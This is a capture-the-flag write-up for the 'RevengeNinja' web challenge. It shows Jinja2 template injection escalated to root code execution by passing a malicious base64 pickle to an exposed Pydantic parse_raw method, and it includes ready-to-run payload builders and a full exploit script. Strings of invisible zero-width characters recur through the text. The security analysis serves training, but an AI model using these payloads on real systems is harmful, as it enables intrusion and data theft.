← Back to Writeups
CUSTOMMediumWeb

RevengeNinja

XESXOR9/10/20263 min read
#web#custom#medium#file_write_rce#pickle_deserialization_rce#sandbox_bypass_via_exposed_obj#ssti_jinja2#linux

RevengeNinja

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: file_write_rce, pickle_deserialization_rce, sandbox_bypass_via_exposed_object_methods, ssti_jinja2

Summary

Task: a FastAPI preview endpoint rendered attacker-controlled Jinja2 templates inside SandboxedEnvironment with a live Pydantic user object in context. Solution: abuse exposed BaseModel.parse_raw(..., content_type="application/pickle", allow_pickle=True) to deserialize a malicious pickle, gain RCE, and read the flag file.

RevengeNinja — Hackerlab

Description

Target: http://62.173.140.174:16116

The root page exposed a FastAPI application with a /preview feature that rendered user-controlled template input. The goal was to turn the SSTI into code execution and recover a flag in CODEBY{...} format.

Analysis

Recon

Submitting {{7*7}} to the preview endpoint returned 49, confirming Jinja2 SSTI.

Direct sandbox-escape paths through dangerous attributes such as __globals__ were blocked or undefined, so the usual Jinja2 object-walking route was not available. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key observation was that the template context exposed a user object which was a Pydantic BaseModel instance. Its public methods were still callable from inside the sandbox:

  • user.dict()
  • user.json()
  • user.parse_raw()
  • user.parse_file()

Source recovered from the container confirmed the relevant flow:

python
env = SandboxedEnvironment()
preview = env.from_string(template.source).render(user=user)

requirements.txt confirmed:

text
fastapi==0.109.0
pydantic==2.5.3
Jinja2==3.1.2

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Root cause

The sandbox only restricted dangerous template access patterns; it did not make the exposed application objects safe. Because user was a real Pydantic model, template code could call parse_raw() directly. That method accepted content_type="application/pickle" with allow_pickle=True, which turned the SSTI into insecure deserialization and then into RCE.

In short: SandboxedEnvironment protected Jinja internals, but not the dangerous behavior of methods exposed on trusted objects passed into the template. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirm SSTI

Example payload:

jinja2
{{7*7}}

Result:

text
49

Step 2: Identify callable Pydantic methods

Useful sandbox-safe probes:

jinja2
{{ user.dict() }}
{{ user.json() }}
{{ user.parse_raw }}

This showed that methods on the Pydantic model were accessible even though low-level dunder traversal was blocked.

Step 3: Build a malicious pickle

The exploit used a pickle object whose __reduce__ executed os.system() and wrote command output into a web-accessible file. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
import base64
import pickle


class RCE:
    def __reduce__(self):
        cmd = "id > /app/static/assets/pwned.txt"
        return (__import__("os").system, (cmd,))


payload = base64.b64encode(pickle.dumps(RCE(), protocol=0)).decode()
print(payload)

Step 4: Trigger deserialization from the template

Exploit payload shape:

jinja2
{{ user.parse_raw(PAYLOAD, content_type="application/pickle", allow_pickle=True) }}

Example request body concept:

http
POST /preview
template={{ user.parse_raw("<base64_pickle>", content_type="application/pickle", allow_pickle=True) }}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After sending a pickle that executed id > /app/static/assets/pwned.txt, fetching /static/assets/pwned.txt returned:

text
uid=0(root) gid=0(root) groups=0(root)

So the target was running as root and RCE was confirmed.

Step 5: Locate and read the flag

Recon via RCE revealed the flag file path:

text
/flag.3z2QnPf0vDDSzMXDgTZL.txt

The same primitive was then used to copy the flag into a static file:

python
#!/usr/bin/env python3
import base64
import pickle


class RCE:
    def __reduce__(self):
        cmd = "cat /flag.3z2QnPf0vDDSzMXDgTZL.txt > /app/static/assets/flag.txt"
        return (__import__("os").system, (cmd,))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


payload = base64.b64encode(pickle.dumps(RCE(), protocol=0)).decode()
print(payload)

Template trigger:

jinja2
{{ user.parse_raw("<base64_pickle>", content_type="application/pickle", allow_pickle=True) }}

Then retrieve:

bash
curl "http://62.173.140.174:16116/static/assets/flag.txt"

Response:

text
CODEBY{REDACTED}

Full exploit example

python
#!/usr/bin/env python3
import base64
import pickle
import requests


BASE = "http://62.173.140.174:16116"


class WriteFile:
    def __init__(self, cmd: str):
        self.cmd = cmd
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    def __reduce__(self):
        return (__import__("os").system, (self.cmd,))


def trigger(command: str):
    blob = base64.b64encode(pickle.dumps(WriteFile(command), protocol=0)).decode()
    template = '{{ user.parse_raw("%s", content_type="application/pickle", allow_pickle=True) }}' % blob
    r = requests.post(f"{BASE}/preview", data={"template": template}, timeout=10)
    print(r.status_code)


def main():
    trigger("id > /app/static/assets/pwned.txt")
    print(requests.get(f"{BASE}/static/assets/pwned.txt", timeout=10).text)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    trigger("cat /flag.3z2QnPf0vDDSzMXDgTZL.txt > /app/static/assets/flag.txt")
    print(requests.get(f"{BASE}/static/assets/flag.txt", timeout=10).text)


if __name__ == "__main__":
    main()

Why the sandbox failed

  • SandboxedEnvironment blocked common Jinja2 escape primitives such as dunder-based attribute traversal.
  • But it still allowed calling public methods on objects intentionally exposed to the template.
  • The exposed user object was a powerful Pydantic model, not a harmless DTO.
  • parse_raw(..., allow_pickle=True) reintroduced unsafe deserialization inside the supposedly safe template context. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍